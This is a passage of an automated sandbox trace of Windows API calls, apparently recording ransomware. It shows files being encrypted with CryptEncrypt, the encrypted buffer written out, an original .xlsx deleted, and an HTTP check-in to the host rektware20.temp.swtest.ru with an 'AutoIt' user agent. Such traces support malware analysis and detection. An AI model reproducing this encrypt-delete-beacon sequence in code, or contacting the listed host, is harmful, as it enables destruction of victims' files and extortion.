| out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.450] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621858, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.450] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.450] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0xfa4e, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0xfa50) returned 1 [0071.451] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.451] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.451] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.451] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.451] CharLowerBuffW (in: lpsz="byte[64081]", cchLength=0xb | out: lpsz="byte[64081]") returned 0xb [0071.451] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.456] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.456] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.456] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0071.457] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0071.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621c18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0071.457] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0071.457] CryptEncrypt (in: hKey=0x164c6b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17effc8*, pdwDataLen=0x130e618*=0xfa4e, dwBufLen=0xfa50 | out: pbData=0x17effc8*, pdwDataLen=0x130e618*=0xfa50) returned 1 [0071.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.458] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.458] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.458] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.459] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.459] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.459] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0071.459] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.459] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.459] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0071.459] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.459] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0071.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0071.472] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.472] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.472] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.473] WriteFile (in: hFile=0x2ac, lpBuffer=0x17aedd8*, nNumberOfBytesToWrite=0xfa50, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesWritten=0x130f01c*=0xfa50, lpOverlapped=0x0) returned 1 [0071.476] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.476] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.476] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0071.476] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.476] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.476] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0071.476] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0071.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0071.476] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0071.476] CryptDestroyKey (hKey=0x164c6b0) returned 1 [0071.477] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.477] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.477] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.477] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.486] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.486] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.487] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0071.487] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.487] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.487] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0071.487] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.487] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0071.487] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.487] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0071.487] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.487] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0071.487] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.487] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0071.487] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.487] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0071.487] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.487] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0071.488] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0071.488] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.488] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.488] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.488] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0071.488] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.488] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0071.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0071.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0071.488] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0071.488] CryptReleaseContext (hProv=0x17aa890, dwFlags=0x0) returned 1 [0071.488] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.488] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0071.489] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0071.489] FreeLibrary (hLibModule=0x74c60000) returned 1 [0071.489] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.489] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0071.489] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.489] CloseHandle (hObject=0x3bc) returned 1 [0071.489] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.489] CloseHandle (hObject=0x2ac) returned 1 [0071.502] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0071.503] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.503] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", lpFilePart=0x0) returned 0x39 [0071.503] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rssyjqioh6d1x8xbwv1x.xlsx")) returned 0x20 [0071.503] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0071.503] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RSSyjqiOh6d1X8xbwv1x.xlsx" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\rssyjqioh6d1x8xbwv1x.xlsx")) returned 1 [0071.507] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0071.507] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0071.507] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0071.507] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.507] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.507] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.507] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0071.508] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0071.508] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0071.508] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0071.508] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0071.508] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0071.508] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0071.508] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f58, lpdwBufferLength=0x130ef8c) returned 1 [0071.508] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0071.508] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0071.508] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0071.509] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0071.509] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0071.509] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0071.509] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0071.509] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0071.509] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0071.510] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0071.510] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0071.510] CloseHandle (hObject=0x0) returned 0 [0071.510] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.510] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.510] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.510] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.510] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.510] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.510] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.511] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RUsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0071.513] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="UsC.pptx", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 